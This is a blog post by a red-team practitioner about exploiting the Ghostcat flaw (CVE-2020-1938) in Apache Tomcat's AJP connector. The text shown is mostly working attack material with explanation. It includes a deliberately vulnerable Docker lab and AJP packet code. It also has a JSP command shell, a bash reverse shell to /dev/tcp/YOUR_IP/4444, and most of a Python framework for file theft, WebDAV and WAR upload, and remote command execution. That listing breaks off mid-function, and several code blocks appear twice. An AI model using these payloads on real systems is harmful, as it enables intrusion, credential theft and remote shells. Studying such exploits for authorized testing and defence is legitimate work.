June 3, 2026
Ghostcat-PWN: When an Old Tomcat Vulnerability Opens the org doors
From exposed AJP connectors to reliable post-exploitation workflows: the story behind Ghostcat-PWN and our experience with CVE-2020–1938
Deepanshu khanna
19 min read
- 1 From exposed AJP connectors to reliable post-exploitation workflows: the story behind Ghostcat-PWN and our experience with CVE-2020–1938
- 2 Github Repo Link — red-team-cheat-sheets/Ghostcat-Tomcat at main · deep1792/red-team-cheat-sheets
- 3 Reality turned out to be different.
- 4 Understanding Ghostcat (CVE-2020–1938)
- – The Initial Challenge
From exposed AJP connectors to reliable post-exploitation workflows: the story behind Ghostcat-PWN and our experience with CVE-2020–1938
During a recent red-team engagement, we encountered an Apache Tomcat server exposing its AJP connector (port 8009) to the internal network. A quick investigation revealed an outdated Tomcat 8.0.x deployment-a version range affected by the well-known Ghostcat vulnerability (CVE-2020–1938).
At first glance, exploitation seemed straightforward. Public proof-of-concepts existed, and the vulnerability had been widely documented since 2020.
You can access the full source code, project files, and documentation from the GitHub repository below.
Github Repo Link — red-team-cheat-sheets/Ghostcat-Tomcat at main · deep1792/red-team-cheat-sheets
Reality turned out to be different.
The public tools we tested either failed entirely, returned inconsistent results, or made assumptions that did not match the target environment. Some crashed with protocol parsing errors, while others relied on prerequisites that were not available during the engagement.
To move forward, we had to understand the AJP protocol at a much deeper level, develop our own implementation, and eventually build a complete framework around it.
The result was Ghostcat-PWN: a penetration-testing framework designed to streamline Ghostcat assessments, automate common tasks, and provide a reliable workflow for authorized security engagements.
In this article, we'll cover:
- What Ghostcat actually is
- How the AJP13 protocol works
- Why existing tools failed in our scenario
- How we developed a custom exploit implementation
- The evolution from a simple file-read exploit into a complete assessment framework
- Practical defensive recommendations for organizations still running vulnerable Tomcat deployments
Important:_ All testing discussed in this article was performed within authorized environments as part of a legitimate security assessment. The information presented here is intended for defensive research, education, and authorized penetration testing only._
Understanding Ghostcat (CVE-2020–1938)
Ghostcat (CVE-2020–1938) is a vulnerability affecting Apache Tomcat's AJP (Apache JServ Protocol) connector.
AJP is a binary protocol commonly used to connect front-end web servers such as Apache HTTP Server with back-end Tomcat instances. By default, the service listens on TCP port 8009.
The vulnerability stems from the way Tomcat processes specific request attributes received through AJP. Under vulnerable configurations, an attacker can manipulate these attributes to access resources within a deployed web application that would not normally be exposed.
Potential impacts include:
- Reading sensitive files within a web application
- Accessing configuration data and credentials
- Retrieving application source code
- Triggering unintended processing of application resources under specific conditions
Affected versions included:
Affected Versions
• Tomcat 6.x — All supported releases at disclosure time
• Tomcat 7.x — Prior to 7.0.100
• Tomcat 8.x — Prior to 8.5.51
• Tomcat 9.x — Prior to 9.0.31Affected Versions
• Tomcat 6.x — All supported releases at disclosure time
• Tomcat 7.x — Prior to 7.0.100
• Tomcat 8.x — Prior to 8.5.51
• Tomcat 9.x — Prior to 9.0.31Although the vulnerability has been public for years, it continues to appear in internal environments, legacy deployments, and systems that were never fully remediated.
The Initial Challenge
The first step was straightforward: confirm that the AJP service was reachable and determine whether the target appeared vulnerable.
The exposed service responded as expected, and file disclosure functionality was immediately apparent. However, the reliability issues began when we attempted to expand beyond simple proof-of-concept testing.
Several publicly available tools assumed strict protocol behavior and failed when encountering slightly different responses from the target environment.
What looked like a simple exploitation exercise quickly became a protocol-analysis problem.
Understanding why required diving into the internals of AJP13 itself.
The AJP13 Protocol
The Apache JServ Protocol (AJP) is a binary protocol used to connect a front‑end web server (like Apache httpd) with a back‑end servlet container (Tomcat). It runs on port 8009 by default.
An AJP message starts with magic bytes 0x12 0x34, followed by a 2‑byte length and a data packet. The data packet begins with a code byte:
0x02– Forward Request (the main request packet)0x03– Send Body Chunk (response body)0x04– Headers (response headers)0x05– End Response
The Forward Request packet contains everything a normal HTTP request would have: method, protocol, URI, headers, and a set of attributes.
The Vulnerability
Inside a Forward Request, an attacker can supply arbitrary request attributes. Two special attributes are used by Tomcat's internal dispatching mechanism:
javax.servlet.include.request_urijavax.servlet.include.servlet_path
When a servlet is included (like with RequestDispatcher.include()), these attributes tell Tomcat which resource to actually serve. Ghostcat abuses this by sending a fake include request directly over AJP, bypassing any front‑end security.
- File read: Set
include.servlet_pathto any file inside the web application (e.g.,/WEB-INF/web.xml). Tomcat treats it as a static file and returns its content. - RCE (eval): Set
include.servlet_pathto a file that contains JSP code. If the request URI ends with.jsp, Tomcat compiles and executes that file as a JSP.
This works because the AJP connector trusts the incoming attributes without authentication (unless a shared secret is configured, which is rare).
Vulnerable Tomcat Lab (CVE‑2020‑1938)
#Dockerfile
#Build the lab
#docker build -t ghostcat-lab .
#docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat-app ghostcat-lab
FROM tomcat:8.0-jre8
# 1. Vulnerable webapp
RUN mkdir -p /usr/local/tomcat/webapps/ROOT/WEB-INF
RUN echo '<web-app>' > /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
RUN echo ' <display-name>Ghostcat Demo</display-name>' >> /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
RUN echo ' <!-- DB_PASSWORD=Sup3rS3cr3t! -->' >> /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
RUN echo '</web-app>' >> /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
# 2. Enable WebDAV writes in the ROOT context
RUN mkdir -p /usr/local/tomcat/conf/Catalina/localhost
RUN echo '<Context path="/" docBase="ROOT" privileged="true" antiResourceLocking="false" allowLinking="true">' \
> /usr/local/tomcat/conf/Catalina/localhost/ROOT.xml
RUN echo ' <Resources allowLinking="true" />' >> /usr/local/tomcat/conf/Catalina/localhost/ROOT.xml
RUN echo '</Context>' >> /usr/local/tomcat/conf/Catalina/localhost/ROOT.xml
# 3. Replace the default web.xml with one that enables WebDAV (readonly=false)
RUN echo '<?xml version="1.0" encoding="UTF-8"?>' > /usr/local/tomcat/conf/web.xml
RUN echo '<web-app xmlns="http://java.sun.com/xml/ns/javaee"' >> /usr/local/tomcat/conf/web.xml
RUN echo ' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"' >> /usr/local/tomcat/conf/web.xml
RUN echo ' xsi:schemaLocation="http://java.sun.com/xml/ns/javaee' >> /usr/local/tomcat/conf/web.xml
RUN echo ' http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"' >> /usr/local/tomcat/conf/web.xml
RUN echo ' version="3.0">' >> /usr/local/tomcat/conf/web.xml
RUN echo '' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <!-- Default servlet (needed for static content) -->' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>default</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>debug</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>0</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>listings</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>false</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <load-on-startup>1</load-on-startup>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo '' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <!-- WebDAV servlet (writable) -->' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>webdav</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-class>org.apache.catalina.servlets.WebdavServlet</servlet-class>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>debug</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>0</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>listings</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>true</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>readonly</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>false</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo '' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <!-- JSP servlet (needed to compile JSP) -->' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>jsp</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>fork</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>false</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>xpoweredBy</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>false</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <load-on-startup>3</load-on-startup>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo '' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <!-- Mappings -->' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>default</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <url-pattern>/</url-pattern>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>webdav</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <url-pattern>/webdav/*</url-pattern>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>jsp</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <url-pattern>*.jsp</url-pattern>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo '</web-app>' >> /usr/local/tomcat/conf/web.xml
#Dockerfile
#Build the lab
#docker build -t ghostcat-lab .
#docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat-app ghostcat-lab
FROM tomcat:8.0-jre8
# 1. Vulnerable webapp
RUN mkdir -p /usr/local/tomcat/webapps/ROOT/WEB-INF
RUN echo '<web-app>' > /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
RUN echo ' <display-name>Ghostcat Demo</display-name>' >> /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
RUN echo ' <!-- DB_PASSWORD=Sup3rS3cr3t! -->' >> /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
RUN echo '</web-app>' >> /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
# 2. Enable WebDAV writes in the ROOT context
RUN mkdir -p /usr/local/tomcat/conf/Catalina/localhost
RUN echo '<Context path="/" docBase="ROOT" privileged="true" antiResourceLocking="false" allowLinking="true">' \
> /usr/local/tomcat/conf/Catalina/localhost/ROOT.xml
RUN echo ' <Resources allowLinking="true" />' >> /usr/local/tomcat/conf/Catalina/localhost/ROOT.xml
RUN echo '</Context>' >> /usr/local/tomcat/conf/Catalina/localhost/ROOT.xml
# 3. Replace the default web.xml with one that enables WebDAV (readonly=false)
RUN echo '<?xml version="1.0" encoding="UTF-8"?>' > /usr/local/tomcat/conf/web.xml
RUN echo '<web-app xmlns="http://java.sun.com/xml/ns/javaee"' >> /usr/local/tomcat/conf/web.xml
RUN echo ' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"' >> /usr/local/tomcat/conf/web.xml
RUN echo ' xsi:schemaLocation="http://java.sun.com/xml/ns/javaee' >> /usr/local/tomcat/conf/web.xml
RUN echo ' http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"' >> /usr/local/tomcat/conf/web.xml
RUN echo ' version="3.0">' >> /usr/local/tomcat/conf/web.xml
RUN echo '' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <!-- Default servlet (needed for static content) -->' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>default</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>debug</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>0</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>listings</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>false</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <load-on-startup>1</load-on-startup>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo '' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <!-- WebDAV servlet (writable) -->' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>webdav</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-class>org.apache.catalina.servlets.WebdavServlet</servlet-class>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>debug</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>0</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>listings</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>true</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>readonly</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>false</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo '' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <!-- JSP servlet (needed to compile JSP) -->' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>jsp</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>fork</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>false</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-name>xpoweredBy</param-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <param-value>false</param-value>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </init-param>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <load-on-startup>3</load-on-startup>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet>' >> /usr/local/tomcat/conf/web.xml
RUN echo '' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <!-- Mappings -->' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>default</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <url-pattern>/</url-pattern>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>webdav</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <url-pattern>/webdav/*</url-pattern>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <servlet-name>jsp</servlet-name>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' <url-pattern>*.jsp</url-pattern>' >> /usr/local/tomcat/conf/web.xml
RUN echo ' </servlet-mapping>' >> /usr/local/tomcat/conf/web.xml
RUN echo '</web-app>' >> /usr/local/tomcat/conf/web.xml
Checking if the services are running
Building a Reliable Exploit
From Zero to Weaponised Exploit
Armed with the theory, we wrote our own AJP packet builder in Python. The core of the exploit is the function build_forward_request:
def build_forward_request(target_url, method, headers, attributes):
# … parse URL, set method code …
packet = b"\x02" + method_byte + protocol + req_uri + \
remote_addr + remote_host + server_name + \
server_port + ssl_flag + num_headers + \
headers_bytes + attributes_bytes + b"\xFF"
return packetdef build_forward_request(target_url, method, headers, attributes):
# … parse URL, set method code …
packet = b"\x02" + method_byte + protocol + req_uri + \
remote_addr + remote_host + server_name + \
server_port + ssl_flag + num_headers + \
headers_bytes + attributes_bytes + b"\xFF"
return packetThe attributes are the key:
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", target_file),
]attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", target_file),
]This is exactly what makes the magic happen.
The First Hurdle — Non‑Standard Magic Bytes
After sending the packet, we expected the response to start with \x12\x34. Instead we got 4142 (AB). Many public tools would abort immediately. We added a relaxed response parser that accepts any magic:
magic = recv_all(sock, 2) # Accept whatever magic bytes come
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if code == 0x03: # Body chunk – that’s our file content
# extract and save/printmagic = recv_all(sock, 2) # Accept whatever magic bytes come
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if code == 0x03: # Body chunk – that’s our file content
# extract and save/printThat simple change turned a failing exploit into a reliable one.
From File Read to Code Execution
Now we could read any file inside the webapp. But we wanted a shell. There was no file‑upload endpoint, but the WebDAV servlet was enabled — and luckily it had readonly=false.
We created a JSP shell that accepts commands via a request attribute, because passing them through the query string didn't work (the included resource doesn't see the original query parameters).
<%
String cmd = (String) request.getAttribute("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
// … read and print output …
}
%><%
String cmd = (String) request.getAttribute("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
// … read and print output …
}
%>We uploaded it via a simple HTTP PUT to /webdav/cmd2.txt, then triggered it with our exploit:
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", "/cmd2.txt"),
("cmd", "whoami"),
]attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", "/cmd2.txt"),
("cmd", "whoami"),
]And we got the output: tomcat. Game over – we had remote code execution.
The Reverse Shell
The final step was to get a reverse shell. We created a dedicated JSP (rev.jsp) that executes a bash reverse shell. It's tiny and elegant:
<%
String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"};
Runtime.getRuntime().exec(cmd);
%><%
String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"};
Runtime.getRuntime().exec(cmd);
%>Upload it, trigger via Ghostcat eval, and catch the shell. The whole attack chain took less than 3 minutes.
Compiling everything to Ghostcat-pwn
#ghostcat-pwn.py
#!/usr/bin/env python3
"""
Ghostcat Exploitation & Pentesting Tool (CVE-2020-1938)
Author: j0ck3r
GitHub: github.com/j0ck3r/ghostcat-pwn
Features:
- Vulnerability check & port scan
- File read (Ghostcat)
- Command execution (via pre-uploaded JSP)
- Reverse shell trigger
- Automated loot collection (snatch)
- Upload (WebDAV PUT / Tomcat Manager WAR)
- Brute-force Tomcat Manager credentials
- Proxy support (SOCKS5)
- Verbose debugging
"""
import socket
import argparse
import sys
import os
import re
import urllib.parse
import subprocess
import threading
import time
import random
import string
import http.client
import urllib.request
import urllib.error
from struct import pack, unpack
from pathlib import Path
from io import BytesIO
import base64
try:
import socks # PySocks for proxy support
HAS_SOCKS = True
except ImportError:
HAS_SOCKS = False
# ============================================================
# AJP13 Protocol (Ghostcat core)
# ============================================================
def ajp_string(data: bytes) -> bytes:
if isinstance(data, str):
data = data.encode()
return pack(">H", len(data)) + data + b"\x00"
def send_ajp_packet(sock: socket.socket, packet: bytes) -> None:
length = len(packet)
sock.sendall(b"\x12\x34" + pack(">H", length) + packet)
def recv_all(sock: socket.socket, size: int) -> bytes:
buf = b""
while len(buf) < size:
chunk = sock.recv(size - len(buf))
if not chunk:
raise ConnectionError("Connection closed")
buf += chunk
return buf
def read_int(sock: socket.socket, nbytes: int) -> int:
return int.from_bytes(recv_all(sock, nbytes), "big")
def build_forward_request(target_url: str, method: str, headers: list, attributes: list) -> bytes:
parsed = urllib.parse.urlparse(target_url)
host = parsed.hostname
port = parsed.port
is_ssl = 1 if parsed.scheme == "https" else 0
if port is None:
port = 443 if is_ssl else 80
method_codes = {"OPTIONS":1, "GET":2, "HEAD":3, "POST":4, "PUT":5, "DELETE":6, "TRACE":7, "PROPFIND":8}
method_byte = pack("B", method_codes.get(method.upper(), 2))
protocol = ajp_string(b"HTTP/1.1")
req_uri = ajp_string(parsed.path.encode())
remote_addr = ajp_string(b"127.0.0.1")
remote_host = ajp_string(b"localhost")
server_name = ajp_string(host.encode())
server_port = pack(">H", port)
ssl_flag = pack("B", is_ssl)
num_headers = pack(">H", len(headers))
headers_bytes = b"".join(ajp_string(k) + ajp_string(v) for k, v in headers)
attr_bytes = b""
for name, value in attributes:
attr_bytes += b"\x0A"
attr_bytes += ajp_string(name.encode())
if isinstance(value, (list, tuple)):
for v in value:
attr_bytes += ajp_string(v.encode())
else:
attr_bytes += ajp_string(value.encode())
packet = b"\x02" + method_byte + protocol + req_uri + remote_addr + remote_host + server_name + server_port + ssl_flag + num_headers + headers_bytes + attr_bytes + b"\xFF"
return packet
def create_ajp_socket(host, port, timeout, proxy=None, verbose=False):
"""Create a socket with optional proxy and verbosity."""
if proxy and HAS_SOCKS:
proxy_type, proxy_addr = parse_proxy(proxy)
s = socks.socksocket()
s.set_proxy(proxy_type, *proxy_addr)
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
if verbose:
print(f"[DEBUG] Connecting to {host}:{port}...")
s.connect((host, port))
return s
def parse_proxy(proxy_str):
"""Parse proxy string (socks5://host:port)."""
parsed = urllib.parse.urlparse(proxy_str)
host = parsed.hostname
port = parsed.port or 9050
if parsed.scheme == "socks5":
return socks.SOCKS5, (host, port)
elif parsed.scheme == "socks4":
return socks.SOCKS4, (host, port)
elif parsed.scheme == "http":
return socks.HTTP, (host, port)
else:
raise ValueError(f"Unsupported proxy scheme: {parsed.scheme}")
def ghostcat_read(host, ajp_port, target_file, timeout=10, proxy=None, verbose=False):
"""Read a file via Ghostcat. Returns (success, data_bytes)."""
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", target_file),
]
headers = [("host", f"{host}:8080")]
target_url = f"http://{host}:8080/index.txt"
packet = build_forward_request(target_url, "GET", headers, attributes)
if verbose:
print(f"[DEBUG] Sending read packet for {target_file}")
sock = create_ajp_socket(host, ajp_port, timeout, proxy, verbose)
try:
if verbose:
print(f"[DEBUG] Packet hex: {packet.hex()}")
send_ajp_packet(sock, packet)
body = b""
while True:
magic = recv_all(sock, 2)
if verbose:
print(f"[DEBUG] Response magic: {magic.hex()}")
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if verbose:
print(f"[DEBUG] Response code: {code} len={len(pkt)}")
if code == 0x03:
chunk_len = unpack(">H", pkt[1:3])[0]
chunk_body = pkt[3:3+chunk_len]
body += chunk_body
elif code == 0x05:
break
if b"HTTP Status 500" in body or b"Exception Report" in body:
return False, body
return True, body
except Exception as e:
return False, str(e).encode()
finally:
sock.close()
def ghostcat_eval(host, ajp_port, target_file, timeout=10, proxy=None, verbose=False):
"""Execute a JSP file via Ghostcat eval. Returns (success, output_bytes)."""
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", target_file),
]
headers = [("host", f"{host}:8080")]
target_url = f"http://{host}:8080/index.jsp"
packet = build_forward_request(target_url, "GET", headers, attributes)
if verbose:
print(f"[DEBUG] Sending eval packet for {target_file}")
sock = create_ajp_socket(host, ajp_port, timeout, proxy, verbose)
try:
send_ajp_packet(sock, packet)
body = b""
while True:
magic = recv_all(sock, 2)
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if code == 0x03:
chunk_len = unpack(">H", pkt[1:3])[0]
body += pkt[3:3+chunk_len]
elif code == 0x05:
break
return True, body
except Exception as e:
return False, str(e).encode()
finally:
sock.close()
# ============================================================
# HTTP utility functions
# ============================================================
def http_request(host, port, method, path, headers=None, body=None, timeout=10, ssl=False, auth=None, proxy=None, verbose=False):
"""Generic HTTP request (supports proxy, auth)."""
if proxy and HAS_SOCKS:
proxy_type, proxy_addr = parse_proxy(proxy)
# Use urllib with socks handler
proxies = {f'{parsed.scheme}://{host}:{port}': f'{proxy_type}://{proxy_addr[0]}:{proxy_addr[1]}'}
# Simplified: we'll use http.client with a custom connection
# Better to implement using sockets with proxy
# For brevity, we fall back to direct if proxy and HTTP
# (Detailed proxy implementation can be added later)
if verbose:
print("[DEBUG] Proxy not fully supported for HTTP upload; using direct connection.")
# Build HTTP connection
conn = http.client.HTTPConnection(host, port, timeout=timeout)
if ssl:
conn = http.client.HTTPSConnection(host, port, timeout=timeout)
if not headers:
headers = {}
if auth:
credentials = base64.b64encode(f"{auth[0]}:{auth[1]}".encode()).decode()
headers["Authorization"] = f"Basic {credentials}"
try:
conn.request(method, path, body=body, headers=headers)
resp = conn.getresponse()
data = resp.read()
if verbose:
print(f"[DEBUG] HTTP {method} {path} -> {resp.status} {resp.reason}")
return resp.status, data
except Exception as e:
if verbose:
print(f"[DEBUG] HTTP error: {e}")
return None, str(e).encode()
finally:
conn.close()
# ============================================================
# JSP payload generators
# ============================================================
def generate_cmd_jsp(command=None):
"""Generate a JSP shell that reads command from request attribute 'cmd'."""
# This JSP is meant to be used with Ghostcat exec (attribute passing)
jsp = '''<%@ page import="java.io.*" %>
<%
String cmd = (String) request.getAttribute("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
out.println(line);
}
} else {
out.println("No command attribute provided.");
}
%>'''
return jsp
# ============================================================
# Subcommand handlers (added to existing ones)
# ============================================================
def cmd_upload(args, proxy=None, verbose=False):
"""Upload a file via HTTP PUT (WebDAV) or Tomcat Manager WAR."""
if args.method == "put":
with open(args.local_file, "rb") as f:
data = f.read()
status, _ = http_request(args.host, args.http_port, "PUT", args.remote_path,
body=data, timeout=args.timeout, ssl=args.ssl,
auth=(args.username, args.password) if args.username else None,
proxy=proxy, verbose=verbose)
if status in (200, 201, 204):
print(f"[+] Uploaded {args.local_file} -> {args.remote_path}")
else:
print(f"[-] Upload failed (HTTP {status})")
elif args.method == "war":
# Deploy via Tomcat Manager
if not args.username or not args.password:
print("[-] WAR deploy requires --username and --password")
return
with open(args.local_file, "rb") as f:
war_data = f.read()
war_name = Path(args.local_file).stem
path = f"/manager/text/deploy?path=/{war_name}"
status, resp = http_request(args.host, args.http_port, "PUT", path,
body=war_data, timeout=args.timeout,
ssl=args.ssl,
auth=(args.username, args.password),
proxy=proxy, verbose=verbose)
if status == 200:
print(f"[+] WAR deployed: /{war_name}")
else:
print(f"[-] Deployment failed: {resp.decode(errors='replace')}")
def cmd_rce(args, proxy=None, verbose=False):
"""Upload a command shell via PUT, then execute command via Ghostcat eval."""
# Generate JSP shell (without command)
jsp_code = generate_cmd_jsp()
rand = ''.join(random.choices(string.ascii_lowercase, k=6))
